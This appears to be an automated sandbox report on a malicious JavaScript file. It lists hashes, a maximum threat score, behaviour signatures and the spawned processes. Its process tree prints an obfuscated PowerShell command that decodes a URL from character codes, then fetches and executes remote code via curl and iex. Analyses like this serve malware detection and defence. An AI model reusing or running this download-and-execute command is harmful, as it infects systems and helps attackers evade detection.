Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
-
submitted
21-12-2024 15:10
General
-
Target
4cce56ad9f92d0f9df0139744bbe7b736a65b06403ded9390e5cb4aa7dd08d8b.js
-
Size
204KB
-
MD5
8c2d27caa5fad50df9bed345ce5682f5
-
SHA1
a083f425e982b7e04b76a8a1bdbdde164ae8c5f7
-
SHA256
4cce56ad9f92d0f9df0139744bbe7b736a65b06403ded9390e5cb4aa7dd08d8b
-
SHA512
b2dbaffe8663a6d45bf440df3de3b92a09fea2783f53ae6bc00f9fe88a6ba35d7974b34964a23f56eedc732dc0ca88dae4df0c8a7bc5c262e1bac7e46469281d
-
SSDEEP
1536:nw0YnM2nAvLwY9DJfXFmk6Em9F/cnM2nAvLwY9DJfXRmk6Em9F/+mk6Em9F/rnMk:n5EI50EKEI54EyEZEI5pEI5+
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\4cce56ad9f92d0f9df0139744bbe7b736a65b06403ded9390e5cb4aa7dd08d8b.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $vhmegwcdpan='ur' ;new-alias printout c$($vhmegwcdpan)l;$widfqsvemz=(1793,1804,1812,1796,1798,1793,1813,1812,1817,1750,1812,1746,1793,1741,1811,1806,1807,1742,1744,1741,1807,1799,1807,1758,1810,1756,1804,1800,1805,1811,1810,1745,1744);$vcdrqn=('bronx','get-cmdlet');$crbpiejdwyo=$widfqsvemz;foreach($mndrizyxhl in $crbpiejdwyo){$skzpcryjlnqavt=$mndrizyxhl;$gznqtkbi=$gznqtkbi+[char]($skzpcryjlnqavt-1695);$ewrmozclygp=$gznqtkbi; $ivydqlgokuh=$ewrmozclygp};$lucwbgtkp[2]=$ivydqlgokuh;$bvsqpoxh='rl';$lhvqodutgkcrj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ivydqlgokuh)1⤵
- Process spawned unexpected child process